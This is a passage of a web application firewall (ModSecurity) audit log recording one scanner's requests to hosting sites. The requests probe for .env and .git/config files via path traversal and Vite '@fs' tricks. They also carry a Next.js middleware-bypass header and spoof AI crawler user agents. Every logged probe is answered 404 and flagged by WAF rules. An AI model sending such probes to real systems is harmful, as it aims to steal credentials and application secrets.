Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZ-gWM7dE9KgIIOpQh5dQAAANE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZ-gWM7dE9KgIIOpQh5dQAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789296513614068 135055 (- - -)
Stopwatch2: 1789296513614068 135055; combined=34008, p1=783, p2=33145, p3=0, p4=0, p5=79, sr=112, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--410ea143-Z--
--6589095b-A--
[13/Sep/2026:13:48:57.257659 +0300] aqZ-mUwu1RSkptiiNIX7AQAAAJY 34.80.249.255 36314 127.0.0.1 7081
--6589095b-B--
GET /.env?import&raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6589095b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--6589095b-E--
--6589095b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZ-mUwu1RSkptiiNIX7AQAAAJY"]
Stopwatch: 1789296537251785 5926 (- - -)
Stopwatch2: 1789296537251785 5926; combined=4449, p1=248, p2=4079, p3=70, p4=9, p5=43, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6589095b-Z--
--38742364-A--
[13/Sep/2026:13:48:57.269996 +0300] aqZ-mWM7dE9KgIIOpQh5kwAAAME 34.80.249.255 36324 127.0.0.1 7081
--38742364-B--
GET /.env?raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--38742364-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--38742364-E--
--38742364-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZ-mWM7dE9KgIIOpQh5kwAAAME"]
Stopwatch: 1789296537265564 4494 (- - -)
Stopwatch2: 1789296537265564 4494; combined=3216, p1=221, p2=2851, p3=76, p4=30, p5=38, sr=93, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--38742364-Z--
--7891c96a-A--
[13/Sep/2026:13:48:57.619009 +0300] aqZ-mSsVWymXUono-eRV8wAAABM 34.80.249.255 36360 127.0.0.1 7081
--7891c96a-B--
GET /.env?import&url&inline HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7891c96a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--7891c96a-E--
--7891c96a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZ-mSsVWymXUono-eRV8wAAABM"]
Stopwatch: 1789296537611344 7749 (- - -)
Stopwatch2: 1789296537611344 7749; combined=6129, p1=305, p2=5667, p3=104, p4=9, p5=44, sr=121, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7891c96a-Z--
--8eb3f50f-A--
[13/Sep/2026:13:48:57.647282 +0300] aqZ-mUwu1RSkptiiNIX7AgAAAJU 34.80.249.255 36346 127.0.0.1 7081
--8eb3f50f-B--
GET /.env.local?raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8eb3f50f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--8eb3f50f-E--
--8eb3f50f-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZ-mUwu1RSkptiiNIX7AgAAAJU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZ-mUwu1RSkptiiNIX7AgAAAJU"]
Stopwatch: 1789296537611452 35882 (- - -)
Stopwatch2: 1789296537611452 35882; combined=34254, p1=238, p2=33907, p3=62, p4=6, p5=41, sr=89, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8eb3f50f-Z--
--c200c21e-A--
[13/Sep/2026:13:48:57.845854 +0300] aqZ-mSsVWymXUono-eRV9AAAAAE 34.80.249.255 36398 127.0.0.1 7081
--c200c21e-B--
GET /.env.local?import&raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c200c21e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--c200c21e-E--
--c200c21e-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZ-mSsVWymXUono-eRV9AAAAAE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZ-mSsVWymXUono-eRV9AAAAAE"]
Stopwatch: 1789296537808586 37337 (- - -)
Stopwatch2: 1789296537808586 37337; combined=35594, p1=332, p2=35079, p3=117, p4=10, p5=56, sr=153, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c200c21e-Z--
--c7bf321e-A--
[13/Sep/2026:13:48:58.058282 +0300] aqZ-mjTJ6xTvcJoem7f8FgAAAE8 34.80.249.255 36416 127.0.0.1 7081
--c7bf321e-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c7bf321e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--c7bf321e-E--
--c7bf321e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/app/.env"] [unique_id "aqZ-mjTJ6xTvcJoem7f8FgAAAE8"]
Stopwatch: 1789296538053220 5127 (- - -)
Stopwatch2: 1789296538053220 5127; combined=3847, p1=255, p2=3488, p3=60, p4=6, p5=38, sr=114, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c7bf321e-Z--
--f23cfa5e-A--
[13/Sep/2026:13:48:58.223195 +0300] aqZ-mkwu1RSkptiiNIX7BAAAAII 34.80.249.255 36420 127.0.0.1 7081
--f23cfa5e-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f23cfa5e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--f23cfa5e-E--
--f23cfa5e-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZ-mkwu1RSkptiiNIX7BAAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZ-mkwu1RSkptiiNIX7BAAAAII"]
Stopwatch: 1789296538187825 35422 (- - -)
Stopwatch2: 1789296538187825 35422; combined=34039, p1=290, p2=33635, p3=64, p4=6, p5=44, sr=127, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f23cfa5e-Z--
--6409b82e-A--
[13/Sep/2026:13:48:58.419896 +0300] aqZ-mjTJ6xTvcJoem7f8FwAAAEk 34.80.249.255 36436 127.0.0.1 7081
--6409b82e-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6409b82e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--6409b82e-E--
--6409b82e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/src/.env"] [unique_id "aqZ-mjTJ6xTvcJoem7f8FwAAAEk"]
Stopwatch: 1789296538411918 8036 (- - -)
Stopwatch2: 1789296538411918 8036; combined=5618, p1=438, p2=4968, p3=106, p4=12, p5=94, sr=155, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6409b82e-Z--
--c3637762-A--
[13/Sep/2026:13:48:58.459162 +0300] aqZ-mkwu1RSkptiiNIX7BQAAAIk 34.80.249.255 36438 127.0.0.1 7081
--c3637762-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c3637762-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--c3637762-E--
--c3637762-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZ-mkwu1RSkptiiNIX7BQAAAIk"]
Stopwatch: 1789296538452146 7084 (- - -)
Stopwatch2: 1789296538452146 7084; combined=4974, p1=361, p2=4391, p3=142, p4=12, p5=67, sr=153, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c3637762-Z--
--3889490f-A--
[13/Sep/2026:13:48:58.509352 +0300] aqZ-mmM7dE9KgIIOpQh5lwAAANc 34.80.249.255 36460 127.0.0.1 7081
--3889490f-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--3889490f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--3889490f-E--
--3889490f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZ-mmM7dE9KgIIOpQh5lwAAANc"]
Stopwatch: 1789296538501800 7607 (- - -)
Stopwatch2: 1789296538501800 7607; combined=5349, p1=384, p2=4779, p3=113, p4=16, p5=57, sr=163, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3889490f-Z--
--d488fc10-A--
[13/Sep/2026:13:48:58.930092 +0300] aqZ-mkwu1RSkptiiNIX7BgAAAI8 34.80.249.255 36468 127.0.0.1 7081
--d488fc10-B--
GET /dist../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d488fc10-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d488fc10-E--
--d488fc10-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/dist../.env"] [unique_id "aqZ-mkwu1RSkptiiNIX7BgAAAI8"]
Stopwatch: 1789296538924572 5597 (- - -)
Stopwatch2: 1789296538924572 5597; combined=4250, p1=257, p2=3841, p3=104, p4=8, p5=40, sr=108, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d488fc10-Z--
--c8634b21-A--
[13/Sep/2026:13:48:58.958982 +0300] aqZ-mjTJ6xTvcJoem7f8GAAAAEY 34.80.249.255 36482 127.0.0.1 7081
--c8634b21-B--
GET /public../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c8634b21-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--c8634b21-E--
--c8634b21-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/public../.env"] [unique_id "aqZ-mjTJ6xTvcJoem7f8GAAAAEY"]
Stopwatch: 1789296538953169 5866 (- - -)
Stopwatch2: 1789296538953169 5866; combined=4589, p1=228, p2=4231, p3=75, p4=14, p5=40, sr=95, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c8634b21-Z--
--14aa640f-A--
[13/Sep/2026:13:48:59.052878 +0300] aqZ-m2M7dE9KgIIOpQh5mQAAAMU 34.80.249.255 36490 127.0.0.1 7081
--14aa640f-B--
GET /js../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--14aa640f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--14aa640f-E--
--14aa640f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
